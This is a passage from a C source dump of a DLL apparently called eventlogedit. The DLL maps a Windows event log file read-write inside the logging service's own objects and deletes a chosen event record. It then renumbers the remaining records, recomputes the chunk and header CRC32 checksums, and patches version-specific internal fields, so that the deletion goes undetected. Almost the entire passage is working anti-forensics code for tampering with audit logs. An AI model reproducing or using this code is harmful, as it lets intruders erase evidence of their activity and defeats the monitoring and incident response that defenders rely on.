currentRecordPtr->Size; 451 | 452 | deleted = TRUE; 453 | result = SUCCESSED; 454 | } 455 | } 456 | 457 | nextRecordPtr = (PEVENT_RECORD)((PBYTE)currentRecordPtr + currentRecordPtr->Size); 458 | } 459 | } 460 | } 461 | } 462 | } 463 | } 464 | 465 | if (deleted) 466 | { 467 | ULONG64 lastEventRecordNumber = currentChunk->LastEventRecordNumber; 468 | ULONG64 lastEventRecordIdentifier = currentChunk->LastEventRecordIdentifier; 469 | 470 | if (0xffffffffffffffff != lastEventRecordNumber || 471 | 0xffffffffffffffff != lastEventRecordIdentifier) 472 | { 473 | ULONG64 firstEventRecordIdentifier = currentChunk->FirstEventRecorIdentifier; 474 | 475 | if (firstEventRecordIdentifier <= recordNumber && 476 | lastEventRecordIdentifier >= recordNumber) 477 | { 478 | currentChunk->LastEventRecordNumber = lastEventRecordNumber - 1; 479 | currentChunk->LastEventRecordIdentifier = lastEventRecordIdentifier - 1; 480 | } 481 | else 482 | { 483 | currentChunk->FirstEventRecordNumber -= 1; 484 | currentChunk->LastEventRecordNumber = lastEventRecordNumber - 1; 485 | currentChunk->FirstEventRecorIdentifier = firstEventRecordIdentifier - 1; 486 | currentChunk->LastEventRecordIdentifier -= 1; 487 | } 488 | } 489 | } 490 | 491 | if (OffsetBlock->Offset[14]) 492 | { 493 | crc32 = 0; 494 | } 495 | else 496 | { 497 | crc32 = UpdateCRC32((PBYTE)currentChunk + 512, 498 | currentChunk->FreeSpaceOffset - 512, 499 | 0xffffffff); 500 | } 501 | if (crc32) 502 | currentChunk->EventRecordsChunksum = ~crc32; 503 | else 504 | unknownFlag = TRUE; 505 | 506 | if (OffsetBlock->Offset[14]) 507 | { 508 | crc32 = 0; 509 | } 510 | else 511 | { 512 | crc32 = UpdateCRC32(currentChunk, 120, 0xffffffff); 513 | crc32 = UpdateCRC32((PBYTE)currentChunk + 128, 384, crc32); 514 | 515 | } 516 | currentChunk->Checksum = ~crc32; 517 | } 518 | 519 | chunkCount++; 520 | } 521 | 522 | if (isSingleRecord) 523 | { 524 | ULONG count = 0; 525 | 526 | while (count < chunkTotal) 527 | { 528 | PCHUNK_HEADER currentChunkPtr = NULL; 529 | PCHUNK_HEADER nextChunkPtr = NULL; 530 | ULONG64 tmp = firstChunkNumber + count; 531 | 532 | if (tmp > numberOfChunk) 533 | tmp -= numberOfChunk; 534 | currentChunkPtr = (PCHUNK_HEADER)((tmp << 16) + (PBYTE)elfFilePtr + 0x1000); 535 | if (++count < chunkTotal) 536 | { 537 | tmp = firstChunkNumber + count; 538 | if (tmp > numberOfChunk) 539 | tmp -= numberOfChunk; 540 | nextChunkPtr = (PCHUNK_HEADER)((tmp << 16) + (PBYTE)elfFilePtr + 0x1000); 541 | } 542 | 543 | if (0xffffffffffffffff == currentChunkPtr->LastEventRecordNumber && 544 | 0xffffffffffffffff == currentChunkPtr->LastEventRecordIdentifier) 545 | { 546 | if (nextChunkPtr) 547 | { 548 | memcpy(currentChunkPtr, nextChunkPtr, 0x10000); 549 | nextChunkPtr->FirstEventRecordNumber = 1; 550 | nextChunkPtr->LastEventRecordNumber = 0xffffffffffffffff; 551 | nextChunkPtr->FirstEventRecorIdentifier = 0xffffffffffffffff; 552 | nextChunkPtr->LastEventRecordIdentifier = 0xffffffffffffffff; 553 | nextChunkPtr->LastEventRecordDataOffset = 0; 554 | nextChunkPtr->FreeSpaceOffset = 512; 555 | memset((PBYTE)nextChunkPtr + 128, 0, 0x180); 556 | } 557 | else 558 | { 559 | if (lastChunkNumber) 560 | elfFilePtr->LastChunkNumber = lastChunkNumber - 1; 561 | else 562 | elfFilePtr->LastChunkNumber = numberOfChunk - 1; 563 | } 564 | } 565 | } 566 | } 567 | 568 | if (deleted) 569 | elfFilePtr->NextRecordIdentifier -= 1; 570 | 571 | crc32 = 0; 572 | if (0 == OffsetBlock->Offset[14]) 573 | crc32 = UpdateCRC32(elfFilePtr, 118, 0xffffffff); 574 | elfFilePtr->Checksum = ~crc32; 575 | if (!unknownFlag) 576 | *(PULONG)((PBYTE)elfFilePtr + 118) &= 0xfffffffe; 577 | } while (FALSE); 578 | 579 | return result; 580 | } 581 | 582 | EXTERN_C ULONG X(PTARGET_RECORD param) 583 | { 584 | ULONG result = FAILURE; 585 | 586 | if (0 == param->RecordNumber) 587 | return FAILURE_INVALID_RECORD; 588 | 589 | if (GetOffsetBlock()) 590 | { 591 | HANDLE mapHandle = NULL; 592 | PVOID mapAddress = NULL; 593 | PVOID unknownObject = NULL; 594 | PCRITICAL_SECTION critic = NULL; 595 | 596 | do 597 | { 598 | if (!GetObjectFromOffset()) 599 | { 600 | result = FAILURE_OBJECT_NOT_FOUND; 601 | break; 602 | } 603 | 604 | unknownObject = GetUnknownObject(param->EventLogName); 605 | if (!unknownObject) 606 | { 607 | result = FAILURE_OBJECT_NOT_FOUND; 608 | break; 609 | } 610 | 611 | critic = (PCRITICAL_SECTION)((PBYTE)unknownObject + OffsetBlock->Offset[9]); 612 | EnterCriticalSection(critic); 613 | 614 | CHAR flag; 615 | if (OffsetBlock->Offset[14]) 616 | { 617 | flag = 0; 618 | } 619 | else 620 | { 621 | Event_File_FullFlush(unknownObject, 0); 622 | Event_File_FullFlush(unknownObject, 1); 623 | 624 | *(PDWORD)((PBYTE)unknownObject + OffsetBlock->Offset[13]) = 0; 625 | 626 | flag = 1; 627 | } 628 | 629 | if (flag) 630 | { 631 | HANDLE fileHandle = *(PHANDLE)((PBYTE)unknownObject + OffsetBlock->Offset[10]); 632 | if (fileHandle != INVALID_HANDLE_VALUE) 633 | { 634 | mapHandle = CreateFileMapping(fileHandle, NULL, PAGE_READWRITE, 0, 0, NULL); 635 | if (!mapHandle) 636 | { 637 | result = FAILURE_NOT_MAP_FILE; 638 | break; 639 | } 640 | 641 | mapAddress = MapViewOfFile(mapHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0); 642 | if (!mapAddress) 643 | { 644 | result = FAILURE_NOT_MAP_FILE; 645 | break; 646 | } 647 | 648 | result = DeleteRecord(mapAddress, param->RecordNumber); 649 | FlushViewOfFile(mapAddress, 0); 650 | 651 | if (!OffsetBlock->Offset[14]) 652 | File_ReadFileHeader(unknownObject); 653 | 654 | PULONG unknownArray = NULL; 655 | ULONG count = 0; 656 | if (IsWindowsVistaOrGreater()) 657 | { 658 | if (IsWindowsVistaOrGreater() && !IsWindows7OrGreater()) 659 | { 660 | unknownArray = UnknownArray1; 661 | count = sizeof(UnknownArray1) / sizeof(ULONG); 662 | } 663 | else if (IsWindows7OrGreater() && !IsWindows8OrGreater()) 664 | { 665 | unknownArray = UnknownArray2; 666 | count = sizeof(UnknownArray2) / sizeof(ULONG); 667 | } 668 | else if (IsWindows8OrGreater() && !IsWindows8Point1OrGreater()) 669 | { 670 | unknownArray = UnknownArray3; 671 | count = sizeof(UnknownArray3) / sizeof(ULONG); 672 | } 673 | 674 | for (ULONG i = 0; i < count; i += 2) 675 | { 676 | ULONG v = unknownArray[i]; 677 | ULONG_PTR tmp = (ULONG_PTR)unknownObject + v; 678 | 679 | if (tmp & 3) 680 | continue; 681 | 682 | v = unknownArray[i + 1]; 683 | *(PULONG)tmp = v; 684 | } 685 | } 686 | 687 | File_NotifyReaders(unknownObject, 2); 688 | } 689 | else 690 | { 691 | result = FAILURE_NOT_MAP_FILE; 692 | break; 693 | } 694 | } 695 | else 696 | { 697 | result = FAILURE; 698 | break; 699 | } 700 | } while (FALSE); 701 | 702 | if (mapAddress) 703 | UnmapViewOfFile(mapAddress); 704 | if (mapHandle) 705 | CloseHandle(mapHandle); 706 | if (critic) 707 | LeaveCriticalSection(critic); 708 | } 709 | 710 | return result; 711 | } 712 | 713 | BOOL WINAPI DllMain(HMODULE instance, DWORD reason, PVOID reserve) 714 | { 715 | switch (reason) 716 | { 717 | case DLL_PROCESS_ATTACH: 718 | break; 719 | case DLL_PROCESS_DETACH: 720 | break; 721 | case DLL_THREAD_ATTACH: 722 | break; 723 | case DLL_THREAD_DETACH: 724 | break; 725 | } 726 | 727 | return TRUE; 728 | } -------------------------------------------------------------------------------- /eventlogedit/src/EventLogEditDll.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | X -------------------------------------------------------------------------------- /eventlogedit/src/EventLogEditDll.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef EVENTLOGEDITDLL_H 3 | #define EVENTLOGEDITDLL_H 4 | 5 | typedef struct _OFFSETBLOCK 6 | { 7 | DWORD FileVersionMS; 8 | DWORD FileVersionLS; 9 | DWORD Offset[15]; 10 | } OFFSETBLOCK, *POFFSETBLOCK; 11 | 12 | typedef int(__thiscall *EVENT_FILE_FULLFLUSH)(PVOID, ULONG_PTR); 13 | typedef int(__thiscall *FILE_NOTIFYREADERS)(PVOID, ULONG_PTR); 14 | typedef int(__thiscall *FILE_READFILEHEADER)(PVOID); 15 | typedef int(__stdcall *UPDATECRC32)(PVOID, ULONG, ULONG); 16 | 17 | 18 | // hxxps://github.com/libyal/libevtx/blob/master/documentation/Windows%20XML%20Event%20Log%20(EVTX).asciidoc 19 | #pragma pack(1) 20 | typedef struct _ELFFILE_HEADER 21 | { 22 | ULONG64 Signature; // 0 23 | ULONG64 FirstChunkNumber; // 8 24 | ULONG64 LastChunkNumber; // 16 25 | ULONG64 NextRecordIdentifier; // 24 26 | ULONG HeaderSize; // 32 27 | WORD MinorVersion; // 36 28 | WORD MajorVersion; // 38 29 | WORD ChunkDataOffset; // 40 30 | ULONG NumberOfChunks; // 42 31 | UCHAR Unknown[74]; // 46 32 | ULONG FileFlags; // 120 33 | ULONG Checksum; // 124, CRC32 of the first 120 bytes of the file header 34 | // 128 ... 35 | } ELFFILE_HEADER, *PELFFILE_HEADER; 36 | 37 | typedef struct _CHUNK_HEADER 38 | { 39 | ULONG64 Signature; // 0 40 | ULONG64 FirstEventRecordNumber; // 8 41 | ULONG64 LastEventRecordNumber; // 16 42 | ULONG64 FirstEventRecorIdentifier; // 24 43 | ULONG64 LastEventRecordIdentifier; // 32 44 | ULONG HeaderSize; // 40 45 | ULONG LastEventRecordDataOffset; // 44 46 | ULONG FreeSpaceOffset; // 48 47 | ULONG EventRecordsChunksum; // 52 48 | UCHAR Unknown1[64]; // 56 49 | ULONG Unknown2; // 120 50 | ULONG Checksum; // 124, CRC32 of the first 120 bytes and bytes 128 to 512 of the chunk. 51 | // 128 ... 52 | } CHUNK_HEADER, *PCHUNK_HEADER; 53 | 54 | typedef struct _EVENT_RECORD 55 | { 56 | ULONG Signature; // 0 57 | ULONG Size; // 4 58 | ULONG64 EventRecordIdentifier; // 8 59 | ULONG64 WrittenDateAndTime; // 16 60 | // 24, Event, Contains binary XML 61 | } EVENT_RECORD, *PEVENT_RECORD; 62 | #pragma pack() 63 | 64 | #endif 65 | --------------------------------------------------------------------------------